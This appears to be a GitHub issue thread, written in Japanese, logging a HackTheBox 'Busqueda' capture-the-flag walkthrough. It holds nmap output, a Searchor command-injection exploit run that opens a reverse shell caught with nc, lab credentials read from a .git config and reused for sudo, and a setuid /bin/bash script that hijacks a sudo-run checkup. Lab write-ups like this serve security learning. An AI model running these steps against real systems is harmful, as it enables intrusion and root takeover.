roaris / ctf-log

0 stars 0 forks source link

HackTheBox: Busqueda (Machine Easy) #42

Open roaris opened 2 weeks ago

roaris commented 2 weeks ago

https://app.hackthebox.com/machines/Busqueda

$ nmap -sC -sV -Pn 10.10.11.208
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 03:33 JST
Nmap scan report for 10.10.11.208
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds
roaris commented 2 weeks ago

http:\//10.10.11.208にアクセスすると、http:\//searcher.htb/にリダイレクトするので、/etc/hostsに以下を追記する

10.10.11.208 searcher.htb
roaris commented 2 weeks ago

色んなサイトの検索URLを教えてくれるアプリケーション

レスポンス中のServerヘッダを見ると、Werkzeug/2.1.2 Python/3.10.6とある

exploit-dbでWerkzeugを検索した

roaris commented 2 weeks ago

ページの一番下にPowered by Flask and Searchor 2.4.0とある

https://github.com/ArjunSharda/Searchor が使われているらしい

Searcher 2.4.0 exploitで調べる 今検索すると普通にPoCが出てくるので、検索する期間の終了日をこのマシンの公開日(2023/4/8)にした

CVE-2023-43364 が出てきた このリンクに載っている https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection を試す

roaris commented 2 weeks ago

リバースシェルが取れた

$ chmod +x exploit.sh
$ ./exploit.sh http://searcher.htb 10.10.14.50 4444
$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.50] from searcher.htb [10.10.11.208] 38892
bash: cannot set terminal process group (1632): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$

user.txtゲット

svc@busqueda:/var/www/app$ ls ~
ls ~
user.txt
svc@busqueda:/var/www/app$ cat ~/user.txt
cat ~/user.txt
9ab4262401610df22c0e0a5e30fb1b49
roaris commented 2 weeks ago

sudo -lはパスワードが必要

svc@busqueda:/var/www/app$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

.gitがあるのが気になるが、関係なさそう

svc@busqueda:/var/www/app$ ls -al
ls -al
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 May 18 18:24 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ git log
git log
fatal: detected dubious ownership in repository at '/var/www/app'
To add an exception for this directory, call:

        git config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git config --global --add safe.directory /var/www/app
<t config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git log
git log
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4
Author: administrator <administrator@gitea.searcher.htb>
Date:   Sun Dec 25 12:14:21 2022 +0000

    Initial commit
svc@busqueda:/var/www/app$ git branch
git branch
* main
roaris commented 2 weeks ago

ホームディレクトリの確認 気になるものはなかった

svc@busqueda:~$ ls -al
ls -al
total 36
drwxr-x--- 4 svc  svc  4096 May 18 19:36 .
drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28  2023 .cache
-rw-rw-r-- 1 svc  svc   109 May 18 19:36 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc    33 May 18 18:24 user.txt
svc@busqueda:~$ ls -al .local
ls -al .local
total 20
drwxrwxr-x 5 svc svc 4096 Jun 15  2022 .
drwxr-x--- 4 svc svc 4096 May 18 19:36 ..
drwxrwxr-x 2 svc svc 4096 Jun 15  2022 bin
drwxrwxr-x 3 svc svc 4096 Mar  1  2023 lib
drwx------ 3 svc svc 4096 Jun 15  2022 share
svc@busqueda:~$ ls -al .local/bin
ls -al .local/bin
total 16
drwxrwxr-x 2 svc svc 4096 Jun 15  2022 .
drwxrwxr-x 5 svc svc 4096 Jun 15  2022 ..
-rwxrwxr-x 1 svc svc  208 Jun 15  2022 flask
-rwxrwxr-x 1 svc svc  211 Jun 15  2022 pyjwt
svc@busqueda:~$ ls -al .local/lib
ls -al .local/lib
total 12
drwxrwxr-x 3 svc svc 4096 Mar  1  2023 .
drwxrwxr-x 5 svc svc 4096 Jun 15  2022 ..
drwxrwxr-x 3 svc svc 4096 Mar  1  2023 python3.10
svc@busqueda:~$ ls -al .local/share
ls -al .local/share
total 12
drwx------ 3 svc svc 4096 Jun 15  2022 .
drwxrwxr-x 5 svc svc 4096 Jun 15  2022 ..
drwx------ 2 svc svc 4096 Jun 15  2022 nano
svc@busqueda:~$ ls -al .local/share/nano
ls -al .local/share/nano
total 8
drwx------ 2 svc svc 4096 Jun 15  2022 .
drwx------ 3 svc svc 4096 Jun 15  2022 ..
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks
[safe]
        directory = /var/www/app
roaris commented 2 weeks ago

git logした時に出てきたgitea.searcher.htbが気になった /etc/hostsに以下を追記した

10.10.11.208 gitea.searcher.htb

gitea.searcher.htbにアクセスすると、Giteaというサービスのページが出てきた GiteaはGitHubとかGitLabみたいなコード管理サービスらしい https://blog.css-net.co.jp/entry/2023/04/26/135209

roaris commented 2 weeks ago

linpeas試す 今までファイルの送受信はpython -m http.serverとwgetでやっていたけど、ncコマンドで出来るらしい https://zenn.dev/link/comments/c6c157dfdfc57d

  1. マシン側で実行

    svc@busqueda:~$ nc -lnvp 4444 > linpeas.sh
  2. ローカル側で実行

    $ nc 10.10.11.208 4444 < linpeas.sh
  3. ファイルが受信される

    svc@busqueda:~$ nc -lnvp 4444 > linpeas.sh
    nc -lnvp 4444 > linpeas.sh
    Listening on 0.0.0.0 4444
    Connection received on 10.10.14.50 33808

実行後にlinpeas.shが消えていて謎すぎる

svc@busqueda:~$ ls
ls
linpeas.sh
user.txt
svc@busqueda:~$ chmod +x linpeas.sh
chmod +x linpeas.sh
svc@busqueda:~$ ./linpeas.sh > linpeas.txt
./linpeas.sh > linpeas.txt
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . cat: write error: Broken pipe
cat: write error: Broken pipe
grep: /etc/cloud/cloud.cfg: No such file or directory
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:19 --:--:--     0curl: (6) Could not resolve host: metadata.google.internal
sed: -e expression #1, char 0: no previous regular expression
uniq: write error: Broken pipe
grep: write error: Broken pipe
grep: write error: Broken pipe
svc@busqueda:~$ ls
ls
linpeas.txt
snap
user.txt
roaris commented 2 weeks ago

linpeasの結果を見たけど、どこに着目したら良いのか分からなかった

roaris commented 2 weeks ago

http://gitea.searcher.htb/api/swagger にアクセスすると、SwaggerでGiteaのAPIが実行出来るが、APIキーが必要

/var/wwwも気になるものはなし

svc@busqueda:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x  4 root     root     4096 Apr  4  2023 .
drwxr-xr-x 14 root     root     4096 Dec  1  2022 ..
drwxr-xr-x  4 www-data www-data 4096 Apr  3  2023 app
drwxr-xr-x  2 root     root     4096 Mar  8  2023 html
svc@busqueda:/var/www$ ls -al app
ls -al app
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 May 18 18:24 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www$ ls -al app/templates
ls -al app/templates
total 16
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ..
-rw-r--r-- 1 www-data www-data 7573 Dec  1  2022 index.html
svc@busqueda:/var/www$ ls -al html
ls -al html
total 8
drwxr-xr-x 2 root root 4096 Mar  8  2023 .
drwxr-xr-x 4 root root 4096 Apr  4  2023 ..

http:\//gitea.searcher.htb/の左下に1.18.0とある Gitea 1.18.0 exploitで調べたけど、https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce が出てきたけど、>= 1.1.0 to <= 1.12.5が対象なので使えない

roaris commented 1 week ago
svc@busqueda:/var/www/app$ uname -sr
uname -sr
Linux 5.15.0-69-generic

前にexploit出来ないか試したけど出来なかったやつ https://github.com/roaris/ctf-log/issues/41#issuecomment-2116037528

roaris commented 1 week ago

詰んだので、Guided Modeと思ったが、ないのでwriteup見る https://qiita.com/Perplex/items/6dec2d84cb498931c6ec

/var/www/app/.git/configを見るらしい .gitの中は見ようと思わなかったな

svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Basic認証の認証情報がある

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git にアクセスしても404だったが、cody / jh1usoih2bkjaspwe92 でログインが成功した

roaris commented 1 week ago

ログイン成功して、ざっと見たけど、使えそうな情報がない

https://qiita.com/Perplex/items/6dec2d84cb498931c6ec

パスワードを発見したのはいいのですが、再度Web上でgiteaにアクセスしても、GUI上で.gitディレクトリの構成を確認できるだけで、得られる情報は同じです。 では、他に使い道がないかと考えた時にパスワードの使い回しの可能性が浮かびました。ターゲット上にはcodyというユーザは存在していません。しかし、パスワードが使い回しされている場合、codyのパスワードをsvcでも使える可能性があります。sudo -l実行時に、パスワードが求められるので、試してみましょう。

そうかー

roaris commented 1 week ago

/usr/bin/python3 /opt/scripts/system-checkup.pyがroot権限で実行可能

svc@busqueda:/var/www/app$ sudo -l -S
sudo -l -S
[sudo] password for svc: jh1usoih2bkjaspwe92
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

プログラムの内容は確認出来ない

svc@busqueda:/var/www/app$ ls -l /opt/scripts/system-checkup.py
ls -l /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py
svc@busqueda:/var/www/app$ cat /opt/scripts/system-checkup.py
cat /opt/scripts/system-checkup.py
cat: /opt/scripts/system-checkup.py: Permission denied

実行すると、プログラムからエラーを返される

svc@busqueda:/var/www/app$ sudo python3 /opt/scripts/system-checkup.py
sudo python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.

何をしたら良いのか

roaris commented 1 week ago

適当に引数渡すとUsageが出てきた

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py 1
<o /usr/bin/python3 /opt/scripts/system-checkup.py 1
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS        PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   16 months ago   Up 14 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   16 months ago   Up 14 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
<thon3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect abc gitea
</scripts/system-checkup.py docker-inspect abc gitea
abc

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect abc mysql_db
<ripts/system-checkup.py docker-inspect abc mysql_db
abc

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
roaris commented 1 week ago

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect は https://docs.docker.jp/engine/reference/commandline/inspect.html のように使う

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.LogPath}} gitea
<system-checkup.py docker-inspect {{.LogPath}} gitea
/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log
roaris commented 1 week ago

ここから何をしたら良いのか分からない

https://qiita.com/Perplex/items/6dec2d84cb498931c6ec

他に、system-checkupの情報を得ることができないかと/opt/scriptsディレクトリ内を列挙していると、full-checkupのスクリプトファイルを確認しました。

/opt/scriptsを見るらしい .gitがあったので、git logしたらnot a git repositoryと出てきた

svc@busqueda:/opt/scripts$ ls -al
ls -al
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
drwxr-xr-x 4 root root 4096 Mar  1  2023 ..
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3  2023 .git
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py
svc@busqueda:/opt/scripts$ git log
git log
fatal: not a git repository (or any of the parent directories): .git

full-checkup.shがあって、sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupの実行時に、full-checkup.shを実行していると考えられる

/var/www/appで、sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupを実行した時は、Something went wrongと出てきたが、/opt/scriptsで実行すると成功した

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1632     │ 14h    │ 0    │ online    │ 0%       │ 17.6mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!
roaris commented 1 week ago

シェルを起動するシェルスクリプトをfull-checkup.shという名前で作成して、sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupをすれば良いと思ったが、上手くいかない

svc@busqueda:~$ echo "/bin/bash" > full-checkup.sh
echo "/bin/bash" > full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
roaris commented 1 week ago

勝手にファイルが消えるんだけど、どういうことだ

svc@busqueda:~$ ls
ls
full-checkup.sh
linpeas.txt
snap
user.txt
svc@busqueda:~$ ls -l full-checkup.sh
ls -l full-checkup.sh
ls: cannot access 'full-checkup.sh': No such file or directory
roaris commented 1 week ago

実行権限がないだけかと思ったけど、違った

svc@busqueda:~$ ls -l full-checkup.sh
ls -l full-checkup.sh
-rwxr-xr-x 1 svc svc 10 May 19 10:06 full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
roaris commented 1 week ago

https://qiita.com/Perplex/items/6dec2d84cb498931c6ec

shebangをつけたら一応シェルが立ち上がった ただ以下のようにexitしないと応答が返ってこないという現象が発生するので、/bin/bashにsetuidを設定するシェルスクリプトの方がよい

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[sudo] password for svc:
whoami
ls
exit
root
full-checkup.sh
linpeas.txt
snap
user.txt

[+] Done!
roaris commented 1 week ago
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
chmod u+s /bin/bash
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash

-pオプションでbashを起動しないと、svcのままなのに注意

svc@busqueda:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cd /root
bash-5.1# ls
ecosystem.config.js  root.txt  scripts  snap
bash-5.1# cat root.txt
bb2108a960059c5e845e5f245719604f
roaris commented 1 week ago

解き方まとめ

  1. ページの下の方を見て、Searchor 2.4.0が使われていることに気づく
  2. CVE-2023-43364を利用して、リバースシェルを実行 user.txtゲット
  3. /var/www/app/に.gitを見つける
  4. .gitの中のconfigを見ると、cody / jh1usoih2bkjaspwe92 という認証情報が載っている
  5. jh1usoih2bkjaspwe92がsvcのパスワードにも使いまわされているという考えになる
  6. svcのパスワードが分かったので、sudo -lが実行出来て、/usr/bin/python3 /opt/scripts/system-checkup.pyがroot権限で実行可能であることが分かる
  7. /opt/scripts下を確認する
  8. /bin/bashにsetuidを設定するようなシェルスクリプトをfull-checkup.shという名前でsvcのホームディレクトリ下に作成 shebangが必要なのに注意
  9. svcのホームディレクトリでsudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkupを実行して、/bin/bashにsetuidを設定
  10. bash -pでrootのシェルを起動して、root.txtゲット